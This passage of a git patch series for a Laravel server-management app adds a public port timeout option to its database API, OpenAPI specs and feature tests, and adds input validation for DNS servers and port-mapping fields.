(default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1580,7 +1590,7 @@ public function create_database_mongodb(Request $request) public function create_database(Request $request, NewDatabaseTypes $type) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -1670,6 +1680,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) 'destination_uuid' => 'string', 'is_public' => 'boolean', 'public_port' => 'numeric|nullable', + 'public_port_timeout' => 'integer|nullable|min:1', 'limits_memory' => 'string', 'limits_memory_swap' => 'string', 'limits_memory_swappiness' => 'numeric', @@ -1696,7 +1707,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } } if ($type === NewDatabaseTypes::POSTGRESQL) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ 'postgres_user' => 'string', 'postgres_password' => 'string', @@ -1755,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MARIADB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', @@ -1811,7 +1822,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MYSQL) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ 'mysql_root_password' => 'string', 'mysql_password' => 'string', @@ -1870,7 +1881,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::REDIS) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ 'redis_password' => 'string', 'redis_conf' => 'string', @@ -1926,7 +1937,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::DRAGONFLY) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ 'dragonfly_password' => 'string', ]); @@ -1956,7 +1967,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) 'uuid' => $database->uuid, ]))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::KEYDB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ 'keydb_password' => 'string', 'keydb_conf' => 'string', @@ -2012,7 +2023,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::CLICKHOUSE) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', @@ -2048,7 +2059,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MONGODB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', 'mongo_initdb_root_username' => 'string', diff --git a/openapi.json b/openapi.json index aec5a2843..ee970c5c3 100644 --- a/openapi.json +++ b/openapi.json @@ -4544,6 +4544,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -4989,6 +4993,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5117,6 +5125,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5241,6 +5253,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5369,6 +5385,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5497,6 +5517,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5637,6 +5661,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5777,6 +5805,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" @@ -5905,6 +5937,10 @@ "type": "integer", "description": "Public port of the database" }, + "public_port_timeout": { + "type": "integer", + "description": "Public port timeout in seconds (default: 3600)" + }, "limits_memory": { "type": "string", "description": "Memory limit of the database" diff --git a/openapi.yaml b/openapi.yaml index 93038ce80..80744d3d4 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2873,6 +2873,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3189,6 +3192,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3281,6 +3287,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3370,6 +3379,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3462,6 +3474,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3554,6 +3569,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3655,6 +3673,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3756,6 +3777,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' @@ -3848,6 +3872,9 @@ paths: public_port: type: integer description: 'Public port of the database' + public_port_timeout: + type: integer + description: 'Public port timeout in seconds (default: 3600)' limits_memory: type: string description: 'Memory limit of the database' diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.php new file mode 100644 index 000000000..6bbc6279f --- /dev/null +++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php @@ -0,0 +1,147 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/databases', function () { + test('updates public_port_timeout on a postgresql database', function () { + $database = StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 7200, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBe(7200); + }); + + test('updates public_port_timeout on a redis database', function () { + $database = StandaloneRedis::create([ + 'name' => 'test-redis', + 'image' => 'redis:7', + 'redis_password' => 'password', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 1800, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBe(1800); + }); + + test('rejects invalid public_port_timeout value', function () { + $database = StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 0, + ]); + + $response->assertStatus(422); + }); + + test('accepts null public_port_timeout', function () { + $database = StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => null, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBeNull(); + }); +}); + +describe('POST /api/v1/databases/postgresql', function () { + test('creates postgresql database with public_port_timeout', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/postgresql', [ + 'server_uuid' => $this->server->uuid, + 'project_uuid' => $this->project->uuid, + 'environment_name' => $this->environment->name, + 'public_port_timeout' => 5400, + 'instant_deploy' => false, + ]); + + $response->assertStatus(200); + $uuid = $response->json('uuid'); + $database = StandalonePostgresql::whereUuid($uuid)->first(); + expect($database)->not->toBeNull(); + expect($database->public_port_timeout)->toBe(5400); + }); +}); From 407b6df7440d90f324a578ee0b0ebd10cae1da6a Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 28 Mar 2026 22:30:17 +0530 Subject: [PATCH 56/95] fix(validation): add IP validation for custom DNS servers input --- app/Livewire/Settings/Advanced.php | 4 ++-- app/Rules/ValidDnsServers.php | 35 ++++++++++++++++++++++++++++++ 2 files changed, 37 insertions(+), 2 deletions(-) create mode 100644 app/Rules/ValidDnsServers.php diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index ad478273f..f4b57ae20 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -3,6 +3,7 @@ namespace App\Livewire\Settings; use App\Models\InstanceSettings; +use App\Rules\ValidDnsServers; use App\Rules\ValidIpOrCidr; use Livewire\Attributes\Validate; use Livewire\Component; @@ -20,7 +21,6 @@ class Advanced extends Component #[Validate('boolean')] public bool $is_dns_validation_enabled; - #[Validate('nullable|string')] public ?string $custom_dns_servers = null; #[Validate('boolean')] @@ -43,7 +43,7 @@ public function rules() 'is_registration_enabled' => 'boolean', 'do_not_track' => 'boolean', 'is_dns_validation_enabled' => 'boolean', - 'custom_dns_servers' => 'nullable|string', + 'custom_dns_servers' => ['nullable', 'string', new ValidDnsServers], 'is_api_enabled' => 'boolean', 'allowed_ips' => ['nullable', 'string', new ValidIpOrCidr], 'is_sponsorship_popup_enabled' => 'boolean', diff --git a/app/Rules/ValidDnsServers.php b/app/Rules/ValidDnsServers.php new file mode 100644 index 000000000..e3bbd048f --- /dev/null +++ b/app/Rules/ValidDnsServers.php @@ -0,0 +1,35 @@ + Date: Sat, 28 Mar 2026 23:23:25 +0530 Subject: [PATCH 57/95] fix(validation): add input validation for port exposes and port mappings fields --- app/Livewire/Project/Application/General.php | 12 ++++++++-- .../Project/Database/Clickhouse/General.php | 6 ++++- .../Project/Database/Dragonfly/General.php | 6 ++++- .../Project/Database/Keydb/General.php | 6 ++++- .../Project/Database/Mariadb/General.php | 6 ++++- .../Project/Database/Mongodb/General.php | 6 ++++- .../Project/Database/Mysql/General.php | 6 ++++- .../Project/Database/Postgresql/General.php | 6 ++++- .../Project/Database/Redis/General.php | 6 ++++- app/Support/ValidationPatterns.php | 24 +++++++++++++++++++ 10 files changed, 74 insertions(+), 10 deletions(-) diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5c186af70..3e78c1732 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -153,8 +153,8 @@ protected function rules(): array 'staticImage' => 'required', 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), 'publishDirectory' => ValidationPatterns::directoryPathRules(), - 'portsExposes' => 'required', - 'portsMappings' => 'nullable', + 'portsExposes' => ['required', 'string', 'regex:/^(\d+)(,\d+)*$/'], + 'portsMappings' => ValidationPatterns::portMappingRules(), 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', @@ -209,6 +209,8 @@ protected function messages(): array 'staticImage.required' => 'The Static Image field is required.', 'baseDirectory.required' => 'The Base Directory field is required.', 'portsExposes.required' => 'The Exposed Ports field is required.', + 'portsExposes.regex' => 'Ports exposes must be a comma-separated list of port numbers (e.g. 3000,3001).', + ...ValidationPatterns::portMappingMessages(), 'isStatic.required' => 'The Static setting is required.', 'isStatic.boolean' => 'The Static setting must be true or false.', 'isSpa.required' => 'The SPA setting is required.', @@ -752,6 +754,12 @@ public function submit($showToaster = true) $this->authorize('update', $this->application); $this->resetErrorBag(); + + $this->portsExposes = str($this->portsExposes)->replace(' ', '')->trim()->toString(); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } + $this->validate(); $oldPortsExposes = $this->application->ports_exposes; diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 9de75c1c5..0913ca797 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -79,7 +79,7 @@ protected function rules(): array 'clickhouseAdminUser' => 'required|string', 'clickhouseAdminPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -94,6 +94,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'clickhouseAdminUser.required' => 'The Admin User field is required.', 'clickhouseAdminUser.string' => 'The Admin User must be a string.', @@ -207,6 +208,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index d35e57a9d..23503bd98 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -90,7 +90,7 @@ protected function rules(): array 'description' => ValidationPatterns::descriptionRules(), 'dragonflyPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -106,6 +106,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'dragonflyPassword.required' => 'The Dragonfly Password field is required.', 'dragonflyPassword.string' => 'The Dragonfly Password must be a string.', @@ -217,6 +218,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index adb4ccb5f..ff9dc19ad 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -93,7 +93,7 @@ protected function rules(): array 'keydbConf' => 'nullable|string', 'keydbPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -111,6 +111,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'keydbPassword.required' => 'The KeyDB Password field is required.', 'keydbPassword.string' => 'The KeyDB Password must be a string.', @@ -224,6 +225,9 @@ public function submit() try { $this->authorize('manageEnvironment', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 14240c82d..a9ac47b97 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -78,7 +78,7 @@ protected function rules(): array 'mariadbDatabase' => 'required', 'mariadbConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -92,6 +92,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mariadbRootPassword.required' => 'The Root Password field is required.', @@ -213,6 +214,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 11419ec71..2b6538edf 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -77,7 +77,7 @@ protected function rules(): array 'mongoInitdbRootPassword' => 'required', 'mongoInitdbDatabase' => 'required', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -92,6 +92,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mongoInitdbRootUsername.required' => 'The Root Username field is required.', @@ -213,6 +214,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 4f0f5eb19..f3c554522 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -80,7 +80,7 @@ protected function rules(): array 'mysqlDatabase' => 'required', 'mysqlConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -95,6 +95,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mysqlRootPassword.required' => 'The Root Password field is required.', @@ -220,6 +221,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 4e044672b..7a4ff057e 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -92,7 +92,7 @@ protected function rules(): array 'postgresConf' => 'nullable', 'initScripts' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', 'publicPortTimeout' => 'nullable|integer|min:1', @@ -107,6 +107,7 